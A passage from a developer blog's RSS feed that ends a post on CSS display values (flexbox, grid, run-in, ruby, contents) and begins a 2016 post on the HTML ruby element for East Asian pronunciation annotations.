    &lt;div class=&quot;td&quot;&gt;Defines the ability for an element to shrink if there isn&apos;t enough space, with the value determining the proportion of space the element can shrink to. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/flex-shrink&quot;&gt;Full list of flex-shrink values&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;flex-basis&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Defines the default size of an element before any available space is distributed among all the flex items. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/flex-basis&quot;&gt;Full list of flex-basis values&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;flex&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Short-hand for flex-grow, flex-shrink and flex-basis, in that order. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/flex&quot;&gt;Full list of flex values&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;align-self&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Allows the alignment of a single flex-item to be overridden. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/align-self&quot;&gt;Full list of align-self values&lt;/a&gt;&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Again, I highly recommend you check out the list of flexbox resources above, which are chock full of examples that help with the understanding of to use flexbox in your code.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;display: grid&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;For anything related to the Grid layout, I always refer to &lt;a href=&quot;https://rachelandrew.co.uk/&quot;&gt;Rachel Andrew&lt;/a&gt;, whom I regard as the guru of CSS grids. She has been spearheading the effort to increase awareness about this new display property through her &lt;a href=&quot;https://rachelandrew.co.uk/presentations&quot;&gt;talks&lt;/a&gt;, &lt;a href=&quot;https://rachelandrew.co.uk/writing&quot;&gt;articles and tutorials&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;CSS grid gives us a way to create grid systems and control the positioning of grid items purely through CSS, a clear separation of concerns from HTML. When used together with media queries, CSS grid becomes a powerful addition to your tool-belt when it comes to designing and building flexible layouts.&lt;/p&gt;
&lt;p&gt;The current &lt;a href=&quot;https://drafts.csswg.org/css-grid/&quot;&gt;CSS Grid Layout Module Level 1&lt;/a&gt; we have now started off as a &lt;a href=&quot;http://www.w3.org/TR/2011/WD-css3-grid-layout-20110407/&quot;&gt;working draft in 2011&lt;/a&gt;. Like flexbox, this specification came about from the growing need to have a proper method for laying out content on the web without compromising the semantics of HTML.&lt;/p&gt;
&lt;p&gt;Note that CSS grid is not officially implemented in any browser, although Microsoft Edge and Internet Explorer support an older version of the specification behind the &lt;code&gt;-ms-&lt;/code&gt; prefix. This is not surprising because a majority of the editors for the original grid specification were from Microsoft.&lt;/p&gt;
&lt;p&gt;After the messy implementation of the flexbox specification, the development of CSS grids is taking a different approach. Browser vendors make use of vendor prefixes to add experimental features to browsers for developers to test out. This helps with the process of refining the specification and work out any kinks before they become official.&lt;/p&gt;
&lt;p&gt;Instead of doing that, CSS grid has developed behind a flag. It has to be &lt;a href=&quot;https://igalia.github.io/css-grid-layout/enable.html&quot;&gt;manually enabled by developers&lt;/a&gt;. In Chrome and Opera, navigate to &lt;code&gt;chrome://flags&lt;/code&gt; and &lt;code&gt;opera://flags&lt;/code&gt; respectively, and enable &amp;quot;experimental web platform features.&amp;quot; For Firefox, navigate to &lt;code&gt;about:config&lt;/code&gt; and set &lt;code&gt;layout.css.grid.enabled&lt;/code&gt; and &lt;code&gt;layout.css.grid-template-subgrid-value.enabled&lt;/code&gt; to true.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  &lt;strong&gt;Key CSS grid terminology&lt;/strong&gt;
&lt;/p&gt;
&lt;div class=&quot;table display&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;Grid Container&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Similar to the flex container concept, where applying `display: grid;` to an element makes it&apos;s direct descendants (child elements) grid items.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;Grid Item&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;If an element&apos;s parent has `display: grid;` applied to it, then this element is considered a grid item. A grid item&apos;s child elements are NOT considered grid items.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;Grid Track&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      Can be either the column or row of the grid.
      &lt;svg viewBox=&quot;0 0 680 200&quot;&gt;&lt;defs&gt;&lt;path id=&quot;a&quot; d=&quot;M0 0h320v200H0z&quot;/&gt;&lt;mask id=&quot;c&quot; width=&quot;320&quot; height=&quot;200&quot; x=&quot;0&quot; y=&quot;0&quot; fill=&quot;#fff&quot;&gt;&lt;use xlink:href=&quot;#a&quot;/&gt;&lt;/mask&gt;&lt;path id=&quot;b&quot; d=&quot;M0 0h320v200H0z&quot;/&gt;&lt;mask id=&quot;d&quot; width=&quot;320&quot; height=&quot;200&quot; x=&quot;0&quot; y=&quot;0&quot; fill=&quot;#fff&quot;&gt;&lt;use xlink:href=&quot;#b&quot;/&gt;&lt;/mask&gt;&lt;/defs&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;use stroke=&quot;#979797&quot; stroke-width=&quot;8&quot; mask=&quot;url(#c)&quot; xlink:href=&quot;#a&quot;/&gt;&lt;path fill=&quot;#7ED321&quot; d=&quot;M4 4h312v92H4z&quot;/&gt;&lt;path stroke=&quot;#979797&quot; stroke-width=&quot;4&quot; d=&quot;M107 0v200M213 0v200M0 98h320&quot;/&gt;&lt;g transform=&quot;translate(360)&quot;&gt;&lt;use stroke=&quot;#979797&quot; stroke-width=&quot;8&quot; mask=&quot;url(#d)&quot; xlink:href=&quot;#b&quot;/&gt;&lt;path fill=&quot;#7ED321&quot; d=&quot;M4 4h104v192H4z&quot;/&gt;&lt;path stroke=&quot;#979797&quot; stroke-width=&quot;4&quot; d=&quot;M107 0v200M213 0v200M0 98h320&quot;/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;Grid Line&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      Lines that define the structure of the grid. Think of them as the lines between the grid tracks.
      &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 680 200&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&gt;&lt;defs&gt;&lt;path id=&quot;a&quot; d=&quot;M0 0h320v200H0z&quot;/&gt;&lt;mask id=&quot;c&quot; width=&quot;320&quot; height=&quot;200&quot; x=&quot;0&quot; y=&quot;0&quot; fill=&quot;#fff&quot;&gt;&lt;use xlink:href=&quot;#a&quot;/&gt;&lt;/mask&gt;&lt;path id=&quot;b&quot; d=&quot;M0 0h320v200H0z&quot;/&gt;&lt;mask id=&quot;d&quot; width=&quot;320&quot; height=&quot;200&quot; x=&quot;0&quot; y=&quot;0&quot; fill=&quot;#fff&quot;&gt;&lt;use xlink:href=&quot;#b&quot;/&gt;&lt;/mask&gt;&lt;/defs&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;path stroke=&quot;#9B9B9B&quot; stroke-width=&quot;4&quot; d=&quot;M107 0v200M213 0v200&quot;/&gt;&lt;path stroke=&quot;#7ED321&quot; stroke-width=&quot;4&quot; d=&quot;M0 98h320&quot;/&gt;&lt;use stroke=&quot;#979797&quot; stroke-width=&quot;8&quot; mask=&quot;url(#c)&quot; xlink:href=&quot;#a&quot;/&gt;&lt;g transform=&quot;translate(360)&quot;&gt;&lt;path stroke=&quot;#9B9B9B&quot; stroke-width=&quot;4&quot; d=&quot;M0 98h320&quot;/&gt;&lt;path stroke=&quot;#7ED321&quot; stroke-width=&quot;4&quot; d=&quot;M107 0v200M213 0v200&quot;/&gt;&lt;use stroke=&quot;#979797&quot; stroke-width=&quot;8&quot; mask=&quot;url(#d)&quot; xlink:href=&quot;#b&quot;/&gt;&lt;/g&gt;&lt;/g&gt;&lt;/svg&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;Grid Cell&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      An individual grid unit, the space enclosed by adjacent horizontal and vertical grid lines.
      &lt;svg viewBox=&quot;0 0 320 200&quot; width=&quot;50%&quot;&gt;&lt;defs&gt;&lt;path id=&quot;a&quot; d=&quot;M0 0h320v200H0z&quot;/&gt;&lt;mask id=&quot;b&quot; width=&quot;320&quot; height=&quot;200&quot; x=&quot;0&quot; y=&quot;0&quot; fill=&quot;#fff&quot;&gt;&lt;use xlink:href=&quot;#a&quot;/&gt;&lt;/mask&gt;&lt;/defs&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;use stroke=&quot;#979797&quot; stroke-width=&quot;8&quot; mask=&quot;url(#b)&quot; xlink:href=&quot;#a&quot;/&gt;&lt;path fill=&quot;#7ED321&quot; d=&quot;M4 4h101v92H4z&quot;/&gt;&lt;path stroke=&quot;#979797&quot; stroke-width=&quot;4&quot; d=&quot;M107 0v200M213 0v200M0 98h320&quot;/&gt;&lt;/g&gt;&lt;/svg&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;Grid Area&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      Now this is the cool part. Grid allows you to define an area made up of multiple grid cells.
      &lt;svg viewBox=&quot;0 0 320 200&quot; width=&quot;50%&quot;&gt;&lt;defs&gt;&lt;path id=&quot;a&quot; d=&quot;M0 0h320v200H0z&quot;/&gt;&lt;mask id=&quot;b&quot; width=&quot;320&quot; height=&quot;200&quot; x=&quot;0&quot; y=&quot;0&quot; fill=&quot;#fff&quot;&gt;&lt;use xlink:href=&quot;#a&quot;/&gt;&lt;/mask&gt;&lt;/defs&gt;&lt;g fill=&quot;none&quot; fill-rule=&quot;evenodd&quot;&gt;&lt;use stroke=&quot;#979797&quot; stroke-width=&quot;8&quot; mask=&quot;url(#b)&quot; xlink:href=&quot;#a&quot;/&gt;&lt;path fill=&quot;#7ED321&quot; d=&quot;M109 4h207v192H109z&quot;/&gt;&lt;path stroke=&quot;#979797&quot; stroke-width=&quot;4&quot; d=&quot;M107 0v200M213 0v200M0 98h320&quot;/&gt;&lt;/g&gt;&lt;/svg&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;To try to cover grid in this short subsection is really doing the specification a disservice because the totality of what it can do is huge. Please do read through the following resources and experiment around with CSS grids. In fact, you can go to &lt;a href=&quot;http://gridbyexample.com/&quot;&gt;Grid by Example&lt;/a&gt; right now and access links to various CodePens that demonstrate how to use CSS grids for all kinds of use-cases.&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://blogs.igalia.com/mrego/2016/02/01/deep-dive-into-grid-layout-placement/&quot;&gt;Deep Dive into Grid Layout Placement&lt;/a&gt; by &lt;a href=&quot;http://blogs.igalia.com/mrego/&quot;&gt;Manuel Rego Casasnovas&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://css-tricks.com/snippets/css/complete-guide-grid/&quot;&gt;A Complete Guide to Grid&lt;/a&gt; by &lt;a href=&quot;http://chris.house/&quot;&gt;Chris House&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://gridbyexample.com/&quot;&gt;Grid by Example&lt;/a&gt; by &lt;a href=&quot;https://rachelandrew.co.uk/&quot;&gt;Rachel Andrew&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The relatively obscure and experimental&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;display: run-in&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Now this is a fun one I hadn&apos;t heard of until I started reading the &lt;a href=&quot;http://www.w3.org/TR/css-display-3/&quot;&gt;CSS Display specification&lt;/a&gt;. And I also uncovered the 2010 article, &lt;a href=&quot;https://css-tricks.com/run-in/&quot;&gt;CSS Run-in Display Value&lt;/a&gt; by &lt;a href=&quot;http://chriscoyier.net/&quot;&gt;Chris Coyier&lt;/a&gt;. Unfortunately, it seems that browser vendors are not fond of this specification at all and it has since been removed from all browsers, so you can think of this as an alternate reality specification. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Theoretically, if you set an element&apos;s &lt;em&gt;display&lt;/em&gt; property to &lt;code&gt;run-in&lt;/code&gt;, it renders as a &lt;strong&gt;run-in box&lt;/strong&gt;. The use-case is to have a native method to create run-in headings, which in graphic design parlance is a heading positioned on the same line as the next line of body copy.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/css-display/run-in.svg&quot; alt=&quot;Run-in in action&quot;&gt;&lt;/p&gt;
&lt;p&gt;You could use floats to achieve a similar effect, but it is sort of a hack-ish method. Lining up the baseline of the header with the body copy is quite challenging, as you have to tweak the font-size of the header and the line-height of the body copy until they match up. And there may be situations where the header just &apos;catches&apos; more than a single line.&lt;/p&gt;
&lt;p&gt;If you want to use &lt;code&gt;display: inline&lt;/code&gt; on the header instead, it won&apos;t work unless you nest the header element in the paragraph element of body copy (because &lt;code&gt;p&lt;/code&gt; is a block element), and that is semantically incorrect. So I personally would have liked to see this implemented, but I suppose the browser vendors have more high priority specifications to worry about at the moment.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;display: ruby&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/css-display/display-ruby.gif&quot; alt=&quot;Ruby example&quot;&gt;&lt;/p&gt;
&lt;p&gt;This particular property needs an introduction to the &amp;lt;ruby&amp;gt; element for it to make sense to you. In a nutshell, there is an element for displaying annotations alongside a base line of text, usually to help with pronunciation. They&apos;re a pretty common sight for East Asian languages, like Chinese or Japanese. Most of the articles I came across during my research were dated around 2010, so I wrote about the &lt;a href=&quot;/blog/html-ruby/&quot;&gt;2016 state of HTML &amp;lt;ruby&amp;gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There are some parallels between &lt;code&gt;display: ruby;&lt;/code&gt; and &lt;code&gt;display: table;&lt;/code&gt;, but the specification strongly discourages applying ruby display values to non-ruby elements like &lt;code&gt;span&lt;/code&gt; to display ruby text. Rather, we should markup our content using the HTML ruby elements so screen readers and non-CS renderers can interpret the ruby structures.&lt;/p&gt;
&lt;div class=&quot;table display&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;ruby&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Corresponds to the &lt;code&gt;&amp;lt;ruby&amp;gt;&lt;/code&gt; HTML element. It generates a ruby container box, which establishes a ruby formatting context for child elements marked as internal ruby boxes.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;ruby-base&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Corresponds to the &lt;code&gt;&amp;lt;rb&amp;gt;&lt;/code&gt; HTML element. An internal ruby box in the ruby formatting context.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;ruby-text&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Corresponds to the &lt;code&gt;&amp;lt;rt&amp;gt;&lt;/code&gt; HTML element. An internal ruby box in the ruby formatting context.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;ruby-base-container&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Corresponds to the &lt;code&gt;&amp;lt;rbc&amp;gt;&lt;/code&gt; HTML element. An internal ruby box in the ruby formatting context.&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;ruby-text-container&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;Corresponds to the &lt;code&gt;&amp;lt;rtc&amp;gt;&lt;/code&gt; HTML element. An internal ruby box in the ruby formatting context.&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;&lt;code&gt;display: contents&lt;/code&gt;&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The element itself does not generate any boxes, but its children and pseudo-elements still generate boxes as normal. For the purposes of box generation and layout, the element must be treated as if it had been replaced with its children and pseudo-elements in the document tree.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt; —CSS Display Module Level 3&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What the specification is trying to say is that, when you set &lt;code&gt;display: contents&lt;/code&gt; on an element, it will disappear from the DOM but all its children remain and take up the space it occupied. Unfortunately, this specification is only supported by Firefox for now. Resize the &lt;a href=&quot;http://codepen.io/huijing/full/wWWzmd/&quot;&gt;full size CodePen&lt;/a&gt; in Firefox to get a feel of how it works.&lt;/p&gt;
&lt;p
  data-height=&quot;319&quot;
  data-theme-id=&quot;9162&quot;
  data-slug-hash=&quot;wWWzmd&quot;
  data-default-tab=&quot;result&quot;
  data-user=&quot;huijing&quot;
  data-embed-version=&quot;2&quot;
  class=&quot;codepen&quot;
&gt;
  See the Pen &lt;a href=&quot;http://codepen.io/huijing/pen/wWWzmd/&quot;&gt;CSS display: contents&lt;/a&gt; by Chen Hui
  Jing (&lt;a href=&quot;http://codepen.io/huijing&quot;&gt;@huijing&lt;/a&gt;) on &lt;a href=&quot;http://codepen.io&quot;&gt;CodePen&lt;/a&gt;
  .
&lt;/p&gt;
&lt;p&gt;I&apos;ve managed to uncover 2 articles that talk about this display property thus far, &lt;a href=&quot;https://samrueby.com/2015/02/09/firefox-is-releasing-support-for-css-display-contents/&quot;&gt;Firefox is releasing support for CSS display: contents&lt;/a&gt; by &lt;a href=&quot;https://samrueby.com/&quot;&gt;Sam Rueby&lt;/a&gt; and &lt;a href=&quot;https://rachelandrew.co.uk/archives/2016/01/29/vanishing-boxes-with-display-contents/&quot;&gt;Vanishing boxes with display contents&lt;/a&gt; by &lt;a href=&quot;https://rachelandrew.co.uk/&quot;&gt;Rachel Andrew&lt;/a&gt;. Rachel Andrew also presents a fantastic use-case for this property with flex-items. Do check out both articles.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Whew, that ended up being way longer than I initially expected. So a big thank you if you actually read the whole thing. I&apos;m really excited about the new options we&apos;ll have very soon to create unique layouts without having to resort to hacks, and I hope this post will encourage you to learn more about CSS layouts as well.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://fantasai.inkedblade.net/weblog/2012/css-layout-evolution/&quot;&gt;Evolution of CSS Layout: 1990s to the Future&lt;/a&gt; by &lt;a href=&quot;http://fantasai.inkedblade.net/&quot;&gt;Fantasai&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://www.w3.org/TR/css-display-3/&quot;&gt;CSS Display Module Level 3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/display&quot;&gt;MDN CSS display reference&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;https://dribbble.com/shots/1612749-Design-layout-for-a-book&quot;&gt;Design layout for a book&lt;/a&gt; by Olivier Reynaud&lt;/small&gt;&lt;/em&gt;</content:encoded></item><item><title>All about the HTML &lt;ruby&gt; element (in 2016)</title><link>https://chenhuijing.com/blog/html-ruby/</link><guid isPermaLink="true">https://chenhuijing.com/blog/html-ruby/</guid><description>The ruby I&apos;m talking about is not the Ruby programming language. As a native Mandarin speaker, this element is pretty relevant to me. If you have seen how East…</description><pubDate>Fri, 17 Jun 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The ruby I&apos;m talking about is not the Ruby programming language. As a native Mandarin speaker, this element is pretty relevant to me. If you have seen how East Asian glyphs are annotated with pronunciation guides, then this shouldn&apos;t be too foreign, but just in case you have no idea what I&apos;m talking about, here&apos;s an image from the manga, &lt;a href=&quot;http://itplanning.co.jp/works/slamdunk&quot;&gt;Slamdunk&lt;/a&gt;.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Panel from &lt;a href=&quot;http://itplanning.co.jp/works/slamdunk&quot;&gt;Slamdunk&lt;/a&gt;&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/html-ruby/sendoh.jpg&quot; alt=&quot;Slamdunk manga&quot; /&gt;
&lt;/figure&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Local &lt;a href=&quot;http://singaporekidsillustration.blogspot.sg/2011/08/blog-post_922.html&quot;&gt;kindergarten textbook&lt;/a&gt;&lt;/figcaption&gt;
  &lt;img src=&quot;/images/posts/html-ruby/textbook.jpg&quot; alt=&quot;Kindergarten textbook&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;See those little glosses along the main text? Those are known as &lt;em&gt;Ruby characters&lt;/em&gt; (sometimes also called &lt;em&gt;rubi&lt;/em&gt;). These short runs of text alongside the base text are usually used in East Asian documents as pronunciation guides.&lt;/p&gt;
&lt;h2&gt;East Asian writing systems&lt;/h2&gt;
&lt;p&gt;The Japanese language writing system is relatively complex, in that there are 2 kinds of syllabary, &lt;em&gt;hiragana&lt;/em&gt; and &lt;em&gt;katakana&lt;/em&gt;. There is also &lt;em&gt;kanji&lt;/em&gt;, which are adopted from Chinese Han characters. As a single &lt;em&gt;kanji&lt;/em&gt; potentially could have a variety of readings, ruby characters help indicate how they should be read. There is also the romanised version known as &lt;em&gt;romaji&lt;/em&gt;.&lt;/p&gt;
&lt;div class=&quot;grid-inline&quot; style=&quot;margin-bottom:1em&quot;&gt;
  &lt;ruby&gt;
    &lt;rb&gt;東&lt;/rb&gt; &lt;rt&gt;とう&lt;/rt&gt;
    &lt;rb&gt;京&lt;/rb&gt; &lt;rt&gt;きょう&lt;/rt&gt;
  &lt;/ruby&gt;
  &lt;ruby&gt;
    &lt;rb&gt;東&lt;/rb&gt; &lt;rt&gt;トー&lt;/rt&gt;
    &lt;rb&gt;京&lt;/rb&gt; &lt;rt&gt;キョー&lt;/rt&gt;
  &lt;/ruby&gt;
  &lt;ruby&gt;
    &lt;rb&gt;東&lt;/rb&gt; &lt;rt&gt;tō&lt;/rt&gt;
    &lt;rb&gt;京&lt;/rb&gt; &lt;rt&gt;kyō&lt;/rt&gt;
  &lt;/ruby&gt;
&lt;/div&gt;
&lt;p&gt;For Chinese, there are 2 styles of syllabary for ruby characters, the one used in mainland China (Pinyin) and the one used in Taiwan (Zhuyin).&lt;/p&gt;
&lt;div class=&quot;grid-inline&quot; style=&quot;margin-bottom:1em&quot;&gt;
  &lt;ruby&gt;
    &lt;rb&gt;北&lt;/rb&gt; &lt;rt&gt;běi&lt;/rt&gt;
    &lt;rb&gt;京&lt;/rb&gt; &lt;rt&gt;jīng&lt;/rt&gt;
  &lt;/ruby&gt;
  &lt;ruby&gt;
    &lt;rb&gt;北&lt;/rb&gt; &lt;rt&gt;ㄅㄟˇ&lt;/rt&gt;
    &lt;rb&gt;京&lt;/rb&gt; &lt;rt&gt;ㄐ丨ㄥ&lt;/rt&gt;
  &lt;/ruby&gt;
&lt;/div&gt;
&lt;p&gt;The Korean language also adopts some Chinese Han characters, and these are known as &lt;em&gt;hanja&lt;/em&gt;. The Korean alphabet is &lt;em&gt;hangul&lt;/em&gt;, which is the official script of both South and North Korea. &lt;em&gt;Hangul&lt;/em&gt; is usually used as the ruby annotation for &lt;em&gt;hanja&lt;/em&gt; characters. There is also a romanised version known as &lt;em&gt;romaja&lt;/em&gt;.&lt;/p&gt;
&lt;div class=&quot;grid-inline&quot; style=&quot;margin-bottom:1em&quot;&gt;
  &lt;ruby&gt;
    &lt;rb&gt;韓&lt;/rb&gt; &lt;rt&gt;한&lt;/rt&gt;
    &lt;rb&gt;國&lt;/rb&gt; &lt;rt&gt;국&lt;/rt&gt;
  &lt;/ruby&gt;
  &lt;ruby&gt;
    &lt;rb&gt;韓&lt;/rb&gt; &lt;rt&gt;han&lt;/rt&gt;
    &lt;rb&gt;國&lt;/rb&gt; &lt;rt&gt;guk&lt;/rt&gt;
  &lt;/ruby&gt;
&lt;/div&gt;
&lt;h2&gt;East Asian languages on the web&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.w3.org/TR/ruby/&quot;&gt;W3C recommendation for ruby characters&lt;/a&gt; came about in &lt;s&gt;2001&lt;/s&gt; 1998 to address formatting for such writing systems on the web. The specification defines markup required to define the association between the base text and the ruby text. This also allows for styling of content marked up in this manner with CSS.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Edit: The &lt;a href=&quot;https://www.w3.org/TR/1998/WD-ruby-19981221/&quot;&gt;first Ruby working draft&lt;/a&gt; was published 21 Dec 1998, edited by Marcin Sawicki, with contributions from Martin Dürst, Masayasu Ishikawa and Chris Wilson&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.w3.org/TR/2001/WD-css3-ruby-20010216/&quot;&gt;initial working draft&lt;/a&gt; of the CSS Ruby module also came about in 2001 and became a &lt;a href=&quot;https://www.w3.org/TR/2003/CR-css3-ruby-20030514/&quot;&gt;candidate recommendation&lt;/a&gt; in 2003. The standard has evolved over the years and now we have the &lt;a href=&quot;https://drafts.csswg.org/css-ruby-1/&quot;&gt;CSS Ruby Layout Module Level 1&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can refer to &lt;a href=&quot;https://html.spec.whatwg.org/#the-ruby-element&quot;&gt;the HTML specification for ruby&lt;/a&gt; for all the details. I found that the &lt;a href=&quot;https://web.archive.org/web/20190125202728/http://www.html5.jp/tag/elements/ruby.html&quot;&gt;Japanese version of the HTML specifications&lt;/a&gt; provide better examples though. Even if you don&apos;t understand Japanese, there are images that can make things much clearer as to how each element should be used.&lt;/p&gt;
&lt;h2&gt;Browser support for &amp;lt;ruby&amp;gt;&lt;/h2&gt;
&lt;p&gt;As of time of writing, &lt;a href=&quot;http://caniuse.com/#feat=ruby&quot;&gt;caniuse.com&lt;/a&gt; shows there is at least partial support for all major browsers, with Firefox fully supporting this property. No love from Opera Mini though. If you want details on how browsers support and render &lt;code&gt;&amp;lt;ruby&amp;gt;&lt;/code&gt;, check out the &lt;a href=&quot;https://www.w3.org/International/tests/repo/results/ruby-html&quot;&gt;W3C browser tests&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/html-ruby/support-640.jpg&quot;
  srcset=&quot;/images/posts/html-ruby/support-480.jpg 480w, /images/posts/html-ruby/support-640.jpg 640w, /images/posts/html-ruby/support-960.jpg 960w, /images/posts/html-ruby/support-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Browser support for ruby element&quot;
/&gt;&lt;/p&gt;
&lt;h2&gt;Using &amp;lt;ruby&amp;gt;&lt;/h2&gt;
&lt;p&gt;There are a number of ruby elements as defined in the HTML specification. The table below summarises what each of these elements do.&lt;/p&gt;
&lt;div class=&quot;table&quot;&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;&amp;lt;ruby&amp;gt;&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      Creates the association between the base text and the ruby text. Serves as the parent
      container for all associated &lt;code&gt;ruby&lt;/code&gt; elements.
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;&amp;lt;rbc&amp;gt;&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      Refers to the &lt;em&gt;ruby base container&lt;/em&gt; element. Serves as the container for{&quot; &quot;}
      &lt;code&gt;rb&lt;/code&gt; elements in the complex ruby markup use-case. Only one &lt;code&gt;rbc&lt;/code&gt;{&quot; &quot;}
      element should appear in a &lt;code&gt;ruby&lt;/code&gt; element.
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
    &lt;div class=&quot;th td&quot;&gt;&amp;lt;rb&amp;gt;&lt;/div&gt;
    &lt;div class=&quot;td&quot;&gt;
      Refers to the &lt;em&gt;ruby base&lt;/em&gt; element. Serves as the markup for base text. Multiple{&quot; &quot;}
      &lt;code&gt;rb&lt;/code&gt; elements are allowed in an &lt;code&gt;rbc&lt;/code&gt; element. Each &lt;code&gt;rb&lt;/code&gt;{&quot; &quot;}
      element has a corresponding &lt;code&gt;rt&lt;/code&gt; element.
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;div class=&quot;tr&quot;&gt;
